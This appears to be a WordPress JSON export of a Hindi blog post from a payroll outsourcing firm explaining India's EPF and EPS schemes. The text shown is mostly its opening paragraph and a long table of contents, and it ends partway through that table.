{"id":445,"date":"2025-04-28T02:09:56","date_gmt":"2025-04-28T07:39:56","guid":{"rendered":"https:\/\/www.payrolloutsourcing.co.in\/blogs\/?p=445"},"modified":"2026-04-27T06:47:58","modified_gmt":"2026-04-27T12:17:58","slug":"epf-aur-eps-kya-hai","status":"publish","type":"post","link":"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/","title":{"rendered":"\u0908\u092a\u0940\u090f\u092b (EPF) \u0914\u0930 \u0908\u092a\u0940\u090f\u0938 (EPS):\u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u0935\u093f\u0924\u094d\u0924\u0940\u092f \u0938\u0941\u0930\u0915\u094d\u0937\u093e \u0914\u0930 \u092a\u0947\u0902\u0936\u0928 \u092f\u094b\u091c\u0928\u093e\u090f\u0902"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"EPFO_Employees_Provident_Fund_Organisation_%E0%A4%AF%E0%A4%BE_%E0%A4%95%E0%A4%B0%E0%A5%8D%E0%A4%AE%E0%A4%9A%E0%A4%BE%E0%A4%B0%E0%A5%80_%E0%A4%AD%E0%A4%B5%E0%A4%BF%E0%A4%B7%E0%A5%8D%E0%A4%AF_%E0%A4%A8%E0%A4%BF%E0%A4%A7%E0%A4%BF_%E0%A4%B8%E0%A4%82%E0%A4%97%E0%A4%A0%E0%A4%A8_%E0%A4%95%E0%A5%8D%E0%A4%AF%E0%A4%BE_%E0%A4%B9%E0%A5%88_%E0%A4%94%E0%A4%B0_%E0%A4%AF%E0%A4%B9_%E0%A4%95%E0%A5%88%E0%A4%B8%E0%A5%87_%E0%A4%95%E0%A4%BE%E0%A4%AE_%E0%A4%95%E0%A4%B0%E0%A4%A4%E0%A4%BE_%E0%A4%B9%E0%A5%88\"><\/span><strong>EPFO (Employees&#8217; Provident Fund Organisation<\/strong>) <strong>\u092f\u093e \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u092d\u0935\u093f\u0937\u094d\u092f \u0928\u093f\u0927\u093f \u0938\u0902\u0917\u0920\u0928 \u0915\u094d\u092f\u093e \u0939\u0948 \u0914\u0930 \u092f\u0939 \u0915\u0948\u0938\u0947 \u0915\u093e\u092e \u0915\u0930\u0924\u093e \u0939\u0948?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>EPFO \u0915\u093e \u092a\u0942\u0930\u093e \u0928\u093e\u092e &#8220;Employees&#8217; Provident Fund Organisation&#8221; \u0939\u0948, \u091c\u093f\u0938\u0947 \u0939\u093f\u0902\u0926\u0940 \u092e\u0947\u0902 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u092d\u0935\u093f\u0937\u094d\u092f \u0928\u093f\u0927\u093f \u0938\u0902\u0917\u0920\u0928 \u0915\u0939\u0924\u0947 \u0939\u0948\u0902\u0964 \u092f\u0939 \u092d\u093e\u0930\u0924 \u0938\u0930\u0915\u093e\u0930 \u0915\u093e \u090f\u0915 \u0938\u0902\u0917\u0920\u0928 \u0939\u0948 \u091c\u094b \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u0947 \u092d\u0935\u093f\u0937\u094d\u092f \u0915\u0947 \u0932\u093f\u090f \u092c\u091a\u0924 \u0915\u0930\u0928\u0947 \u092e\u0947\u0902 \u092e\u0926\u0926 \u0915\u0930\u0924\u093e \u0939\u0948\u0964 EPFO \u0915\u094b \u0936\u094d\u0930\u092e \u0914\u0930 \u0930\u094b\u091c\u0917\u093e\u0930 \u092e\u0902\u0924\u094d\u0930\u093e\u0932\u092f (Ministry of Labour and Employment) \u0926\u094d\u0935\u093e\u0930\u093e \u0938\u0902\u091a\u093e\u0932\u093f\u0924 \u0915\u093f\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964<\/p><div id=\"ez-toc-container\" class=\"ez-toc-v2_0_79_2 ez-toc-wrap-left counter-hierarchy ez-toc-counter ez-toc-light-blue ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#EPFO_Employees_Provident_Fund_Organisation_%E0%A4%AF%E0%A4%BE_%E0%A4%95%E0%A4%B0%E0%A5%8D%E0%A4%AE%E0%A4%9A%E0%A4%BE%E0%A4%B0%E0%A5%80_%E0%A4%AD%E0%A4%B5%E0%A4%BF%E0%A4%B7%E0%A5%8D%E0%A4%AF_%E0%A4%A8%E0%A4%BF%E0%A4%A7%E0%A4%BF_%E0%A4%B8%E0%A4%82%E0%A4%97%E0%A4%A0%E0%A4%A8_%E0%A4%95%E0%A5%8D%E0%A4%AF%E0%A4%BE_%E0%A4%B9%E0%A5%88_%E0%A4%94%E0%A4%B0_%E0%A4%AF%E0%A4%B9_%E0%A4%95%E0%A5%88%E0%A4%B8%E0%A5%87_%E0%A4%95%E0%A4%BE%E0%A4%AE_%E0%A4%95%E0%A4%B0%E0%A4%A4%E0%A4%BE_%E0%A4%B9%E0%A5%88\" >EPFO (Employees&#8217; Provident Fund Organisation) \u092f\u093e \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u092d\u0935\u093f\u0937\u094d\u092f \u0928\u093f\u0927\u093f \u0938\u0902\u0917\u0920\u0928 \u0915\u094d\u092f\u093e \u0939\u0948 \u0914\u0930 \u092f\u0939 \u0915\u0948\u0938\u0947 \u0915\u093e\u092e \u0915\u0930\u0924\u093e \u0939\u0948?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#EPFO_%E0%A4%95%E0%A5%88%E0%A4%B8%E0%A5%87_%E0%A4%95%E0%A4%BE%E0%A4%AE_%E0%A4%95%E0%A4%B0%E0%A4%A4%E0%A4%BE%E0%A4%B9%E0%A5%88\" >EPFO \u0915\u0948\u0938\u0947 \u0915\u093e\u092e \u0915\u0930\u0924\u093e\u0939\u0948?<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#EPFO_%E0%A4%AA%E0%A5%87%E0%A4%82%E0%A4%B6%E0%A4%A8_%E0%A4%95%E0%A5%8D%E0%A4%AF%E0%A4%BE_%E0%A4%B9%E0%A5%88\" >EPFO \u092a\u0947\u0902\u0936\u0928 \u0915\u094d\u092f\u093e \u0939\u0948?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#EPFO_%E0%A4%AA%E0%A5%87%E0%A4%82%E0%A4%B6%E0%A4%A8_%E0%A4%95%E0%A5%88%E0%A4%B8%E0%A5%87_%E0%A4%95%E0%A4%BE%E0%A4%AE_%E0%A4%95%E0%A4%B0%E0%A4%A4%E0%A5%80%E0%A4%B9%E0%A5%88\" >EPFO \u092a\u0947\u0902\u0936\u0928 \u0915\u0948\u0938\u0947 \u0915\u093e\u092e \u0915\u0930\u0924\u0940\u0939\u0948?<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#EPFO_%E0%A4%AA%E0%A5%87%E0%A4%82%E0%A4%B6%E0%A4%A8_%E0%A4%95%E0%A5%87_%E0%A4%AB%E0%A4%BE%E0%A4%AF%E0%A4%A6%E0%A5%87\" >EPFO \u092a\u0947\u0902\u0936\u0928 \u0915\u0947 \u092b\u093e\u092f\u0926\u0947<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%B0%E0%A4%BF%E0%A4%9F%E0%A4%BE%E0%A4%AF%E0%A4%B0%E0%A4%AE%E0%A5%87%E0%A4%82%E0%A4%9F_%E0%A4%95%E0%A5%87_%E0%A4%AC%E0%A4%BE%E0%A4%A6_%E0%A4%A8%E0%A4%BF%E0%A4%AF%E0%A4%AE%E0%A4%BF%E0%A4%A4_%E0%A4%86%E0%A4%AF\" >\u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0915\u0947 \u092c\u093e\u0926 \u0928\u093f\u092f\u092e\u093f\u0924 \u0906\u092f<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%AA%E0%A4%B0%E0%A4%BF%E0%A4%B5%E0%A4%BE%E0%A4%B0_%E0%A4%95%E0%A5%8B_%E0%A4%B8%E0%A5%81%E0%A4%B0%E0%A4%95%E0%A5%8D%E0%A4%B7%E0%A4%BE\" >\u092a\u0930\u093f\u0935\u093e\u0930 \u0915\u094b \u0938\u0941\u0930\u0915\u094d\u0937\u093e<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%9C%E0%A5%80%E0%A4%B5%E0%A4%A8%E0%A4%AD%E0%A4%B0_%E0%A4%AA%E0%A5%87%E0%A4%82%E0%A4%B6%E0%A4%A8_%E0%A4%95%E0%A4%BE_%E0%A4%B2%E0%A4%BE%E0%A4%AD\" >\u091c\u0940\u0935\u0928\u092d\u0930 \u092a\u0947\u0902\u0936\u0928 \u0915\u093e \u0932\u093e\u092d<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%A8%E0%A5%8D%E0%A4%AF%E0%A5%82%E0%A4%A8%E0%A4%A4%E0%A4%AE_%E0%A4%B8%E0%A5%87%E0%A4%B5%E0%A4%BE_%E0%A4%95%E0%A5%87_%E0%A4%AC%E0%A4%BE%E0%A4%A6_%E0%A4%AD%E0%A5%80_%E0%A4%B2%E0%A4%BE%E0%A4%AD\" >\u0928\u094d\u092f\u0942\u0928\u0924\u092e \u0938\u0947\u0935\u093e \u0915\u0947 \u092c\u093e\u0926 \u092d\u0940 \u0932\u093e\u092d<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%B8%E0%A4%B0%E0%A4%95%E0%A4%BE%E0%A4%B0%E0%A5%80_%E0%A4%AF%E0%A5%8B%E0%A4%9C%E0%A4%A8%E0%A4%BE_%E0%A4%B9%E0%A5%8B%E0%A4%A8%E0%A5%87_%E0%A4%95%E0%A4%BE_%E0%A4%AD%E0%A4%B0%E0%A5%8B%E0%A4%B8%E0%A4%BE\" >\u0938\u0930\u0915\u093e\u0930\u0940 \u092f\u094b\u091c\u0928\u093e \u0939\u094b\u0928\u0947 \u0915\u093e \u092d\u0930\u094b\u0938\u093e<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%86%E0%A4%B8%E0%A4%BE%E0%A4%A8_%E0%A4%86%E0%A4%B5%E0%A5%87%E0%A4%A6%E0%A4%A8_%E0%A4%94%E0%A4%B0_%E0%A4%91%E0%A4%A8%E0%A4%B2%E0%A4%BE%E0%A4%87%E0%A4%A8_%E0%A4%B8%E0%A5%81%E0%A4%B5%E0%A4%BF%E0%A4%A7%E0%A4%BE%E0%A4%8F%E0%A4%82\" >\u0906\u0938\u093e\u0928 \u0906\u0935\u0947\u0926\u0928 \u0914\u0930 \u0911\u0928\u0932\u093e\u0907\u0928 \u0938\u0941\u0935\u093f\u0927\u093e\u090f\u0902<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#EPFO_%E0%A4%B8%E0%A5%87_%E0%A4%95%E0%A4%BF%E0%A4%A4%E0%A4%A8%E0%A5%80_%E0%A4%AA%E0%A5%87%E0%A4%82%E0%A4%B6%E0%A4%A8_%E0%A4%AE%E0%A4%BF%E0%A4%B2%E0%A4%A4%E0%A5%80_%E0%A4%B9%E0%A5%88\" >EPFO \u0938\u0947 \u0915\u093f\u0924\u0928\u0940 \u092a\u0947\u0902\u0936\u0928 \u092e\u093f\u0932\u0924\u0940 \u0939\u0948?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%AA%E0%A5%87%E0%A4%82%E0%A4%B6%E0%A4%A8_%E0%A4%AF%E0%A5%8B%E0%A4%9C%E0%A4%A8%E0%A4%BE_EPS_%E0%A4%95%E0%A5%87_%E0%A4%AC%E0%A4%BE%E0%A4%B0%E0%A5%87_%E0%A4%AE%E0%A5%87%E0%A4%82\" >\u092a\u0947\u0902\u0936\u0928 \u092f\u094b\u091c\u0928\u093e (EPS) \u0915\u0947 \u092c\u093e\u0930\u0947 \u092e\u0947\u0902:<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%AA%E0%A5%87%E0%A4%82%E0%A4%B6%E0%A4%A8_%E0%A4%95%E0%A5%80_%E0%A4%97%E0%A4%A3%E0%A4%A8%E0%A4%BE_%E0%A4%95%E0%A5%88%E0%A4%B8%E0%A5%87_%E0%A4%95%E0%A5%80_%E0%A4%9C%E0%A4%BE%E0%A4%A4%E0%A5%80_%E0%A4%B9%E0%A5%88_EPF_Pension_Calculation\" >\u092a\u0947\u0902\u0936\u0928 \u0915\u0940 \u0917\u0923\u0928\u093e \u0915\u0948\u0938\u0947 \u0915\u0940 \u091c\u093e\u0924\u0940 \u0939\u0948 (EPF Pension Calculation)?<\/a><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#EPF_%E0%A4%AA%E0%A5%87%E0%A4%82%E0%A4%B6%E0%A4%A8_%E0%A4%97%E0%A4%A3%E0%A4%A8%E0%A4%BE_%E0%A4%B8%E0%A5%82%E0%A4%A4%E0%A5%8D%E0%A4%B0_EPF_Pension_Calculation_Formula\" >EPF \u092a\u0947\u0902\u0936\u0928 \u0917\u0923\u0928\u093e \u0938\u0942\u0924\u094d\u0930 (EPF Pension Calculation Formula):<\/a><ul class='ez-toc-list-level-5' ><li class='ez-toc-heading-level-5'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#EPF_Pension_Calculation_Formula_In_Hindi\" >EPF Pension Calculation Formula In Hindi:<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-5'><a class=\"ez-toc-link ez-toc-heading-17\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#EPF_Pension_Calculation_Formula_In_English\" >EPF Pension Calculation Formula In English:<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-5'><a class=\"ez-toc-link ez-toc-heading-18\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%AF%E0%A4%B9%E0%A4%BE%E0%A4%81\" >\u092f\u0939\u093e\u0901:<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-19\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%A7%E0%A5%8D%E0%A4%AF%E0%A4%BE%E0%A4%A8_%E0%A4%A6%E0%A5%87%E0%A4%A8%E0%A5%87_%E0%A4%AF%E0%A5%8B%E0%A4%97%E0%A5%8D%E0%A4%AF_%E0%A4%AE%E0%A4%B9%E0%A4%A4%E0%A5%8D%E0%A4%B5%E0%A4%AA%E0%A5%82%E0%A4%B0%E0%A5%8D%E0%A4%A3_%E0%A4%AC%E0%A4%BE%E0%A4%A4%E0%A5%87%E0%A4%82\" >\u0927\u094d\u092f\u093e\u0928 \u0926\u0947\u0928\u0947 \u092f\u094b\u0917\u094d\u092f \u092e\u0939\u0924\u094d\u0935\u092a\u0942\u0930\u094d\u0923 \u092c\u093e\u0924\u0947\u0902:<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-20\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%89%E0%A4%A6%E0%A4%BE%E0%A4%B9%E0%A4%B0%E0%A4%A3_%E0%A4%97%E0%A4%A3%E0%A4%A8%E0%A4%BE\" >\u0909\u0926\u093e\u0939\u0930\u0923 \u0917\u0923\u0928\u093e:<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-21\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%89%E0%A4%9A%E0%A5%8D%E0%A4%9A_%E0%A4%AA%E0%A5%87%E0%A4%82%E0%A4%B6%E0%A4%A8\" >\u0909\u091a\u094d\u091a \u092a\u0947\u0902\u0936\u0928:<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-22\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#10_%E0%A4%B8%E0%A4%BE%E0%A4%B2_%E0%A4%95%E0%A5%80_%E0%A4%B8%E0%A5%87%E0%A4%B5%E0%A4%BE_%E0%A4%AA%E0%A4%B0_%E0%A4%AA%E0%A5%87%E0%A4%82%E0%A4%B6%E0%A4%A8_%E0%A4%95%E0%A5%80_%E0%A4%B0%E0%A4%BE%E0%A4%B6%E0%A4%BF\" >10 \u0938\u093e\u0932 \u0915\u0940 \u0938\u0947\u0935\u093e \u092a\u0930 \u092a\u0947\u0902\u0936\u0928 \u0915\u0940 \u0930\u093e\u0936\u093f:<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-23\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%AA%E0%A5%87%E0%A4%82%E0%A4%B6%E0%A4%A8_%E0%A4%AA%E0%A5%8D%E0%A4%B0%E0%A4%BE%E0%A4%AA%E0%A5%8D%E0%A4%A4_%E0%A4%95%E0%A4%B0%E0%A4%A8%E0%A5%87_%E0%A4%95%E0%A5%80_%E0%A4%89%E0%A4%AE%E0%A5%8D%E0%A4%B0\" >\u092a\u0947\u0902\u0936\u0928 \u092a\u094d\u0930\u093e\u092a\u094d\u0924 \u0915\u0930\u0928\u0947 \u0915\u0940 \u0909\u092e\u094d\u0930:<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-24\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#10_%E0%A4%B8%E0%A4%BE%E0%A4%B2_%E0%A4%95%E0%A5%87_%E0%A4%AC%E0%A4%BE%E0%A4%A6_%E0%A4%AA%E0%A5%87%E0%A4%82%E0%A4%B6%E0%A4%A8_%E0%A4%95%E0%A5%87_%E0%A4%B2%E0%A4%BF%E0%A4%8F_%E0%A4%B6%E0%A4%B0%E0%A5%8D%E0%A4%A4%E0%A5%87%E0%A4%82\" >10 \u0938\u093e\u0932 \u0915\u0947 \u092c\u093e\u0926 \u092a\u0947\u0902\u0936\u0928 \u0915\u0947 \u0932\u093f\u090f \u0936\u0930\u094d\u0924\u0947\u0902:<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-25\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%AA%E0%A5%87%E0%A4%82%E0%A4%B6%E0%A4%A8_%E0%A4%AC%E0%A4%A2%E0%A4%BC%E0%A4%A8%E0%A5%87_%E0%A4%95%E0%A5%80_%E0%A4%B8%E0%A4%82%E0%A4%AD%E0%A4%BE%E0%A4%B5%E0%A4%A8%E0%A4%BE\" >\u092a\u0947\u0902\u0936\u0928 \u092c\u0922\u093c\u0928\u0947 \u0915\u0940 \u0938\u0902\u092d\u093e\u0935\u0928\u093e:<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-26\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%95%E0%A5%8D%E0%A4%AF%E0%A4%BE_%E0%A4%86%E0%A4%AA_%E0%A4%85%E0%A4%AA%E0%A4%A8%E0%A5%87_%E0%A4%AA%E0%A5%87%E0%A4%B0%E0%A5%8B%E0%A4%B2_%E0%A4%95%E0%A4%BE%E0%A4%B0%E0%A5%8D%E0%A4%AF%E0%A5%8B%E0%A4%82_%E0%A4%95%E0%A5%8B_%E0%A4%86%E0%A4%89%E0%A4%9F%E0%A4%B8%E0%A5%8B%E0%A4%B0%E0%A5%8D%E0%A4%B8_%E0%A4%95%E0%A4%B0%E0%A4%A8%E0%A5%87_%E0%A4%95%E0%A4%BE_%E0%A4%B8%E0%A5%8B%E0%A4%9A_%E0%A4%B0%E0%A4%B9%E0%A5%87_%E0%A4%B9%E0%A5%88%E0%A4%82\" >\u0915\u094d\u092f\u093e \u0906\u092a \u0905\u092a\u0928\u0947 \u092a\u0947\u0930\u094b\u0932 \u0915\u093e\u0930\u094d\u092f\u094b\u0902 \u0915\u094b \u0906\u0909\u091f\u0938\u094b\u0930\u094d\u0938 \u0915\u0930\u0928\u0947 \u0915\u093e \u0938\u094b\u091a \u0930\u0939\u0947 \u0939\u0948\u0902?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-27\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%AA%E0%A5%8D%E0%A4%B0%E0%A4%BE%E0%A4%87%E0%A4%B5%E0%A5%87%E0%A4%9F_%E0%A4%95%E0%A4%B0%E0%A5%8D%E0%A4%AE%E0%A4%9A%E0%A4%BE%E0%A4%B0%E0%A4%BF%E0%A4%AF%E0%A5%8B%E0%A4%82_%E0%A4%95%E0%A5%80_%E0%A4%AA%E0%A5%87%E0%A4%82%E0%A4%B6%E0%A4%A8_%E0%A4%95%E0%A4%BF%E0%A4%A4%E0%A4%A8%E0%A5%80_%E0%A4%B9%E0%A5%8B%E0%A4%A4%E0%A5%80%E0%A4%B9%E0%A5%88\" >\u092a\u094d\u0930\u093e\u0907\u0935\u0947\u091f \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u0940 \u092a\u0947\u0902\u0936\u0928 \u0915\u093f\u0924\u0928\u0940 \u0939\u094b\u0924\u0940\u0939\u0948?<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-28\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#1_%E0%A4%AE%E0%A4%B9%E0%A5%80%E0%A4%A8%E0%A5%87_%E0%A4%95%E0%A4%BE_%E0%A4%AA%E0%A5%80%E0%A4%8F%E0%A4%AB_%E0%A4%95%E0%A4%BF%E0%A4%A4%E0%A4%A8%E0%A4%BE_%E0%A4%95%E0%A4%9F%E0%A4%A4%E0%A4%BE%E0%A4%B9%E0%A5%88_Monthly_PF_Deduction\" >1 \u092e\u0939\u0940\u0928\u0947 \u0915\u093e \u092a\u0940\u090f\u092b \u0915\u093f\u0924\u0928\u093e \u0915\u091f\u0924\u093e\u0939\u0948 (Monthly PF Deduction)?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-29\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%89%E0%A4%A6%E0%A4%BE%E0%A4%B9%E0%A4%B0%E0%A4%A3\" >\u0909\u0926\u093e\u0939\u0930\u0923:<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-30\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%9C%E0%A4%B0%E0%A5%82%E0%A4%B0%E0%A5%80_%E0%A4%AC%E0%A4%BE%E0%A4%A4%E0%A5%87%E0%A4%82\" >\u091c\u0930\u0942\u0930\u0940 \u092c\u093e\u0924\u0947\u0902:<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-31\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%88%E0%A4%AA%E0%A5%80%E0%A4%8F%E0%A4%AB_%E0%A4%95%E0%A4%BF%E0%A4%A4%E0%A4%A8%E0%A5%87_%E0%A4%B8%E0%A4%BE%E0%A4%B2_%E0%A4%95%E0%A4%BE_%E0%A4%B9%E0%A5%8B%E0%A4%A4%E0%A4%BE_%E0%A4%B9%E0%A5%88\" >\u0908\u092a\u0940\u090f\u092b \u0915\u093f\u0924\u0928\u0947 \u0938\u093e\u0932 \u0915\u093e \u0939\u094b\u0924\u093e \u0939\u0948?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-32\" href=\"https:\/\/www.payrolloutsourcing.co.in\/blogs\/epf-aur-eps-kya-hai\/#%E0%A4%95%E0%A5%8D%E0%A4%AF%E0%A4%BE_%E0%A4%AA%E0%A5%80%E0%A4%8F%E0%A4%AB_%E0%A4%A1%E0%A4%AC%E0%A4%B2_%E0%A4%AE%E0%A4%BF%E0%A4%B2%E0%A4%A4%E0%A4%BE_%E0%A4%B9%E0%A5%88_Do_you_get_double_PF\" >\u0915\u094d\u092f\u093e \u092a\u0940\u090f\u092b \u0921\u092c\u0932 \u092e\u093f\u0932\u0924\u093e \u0939\u0948 (Do you get double PF)?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-33\" 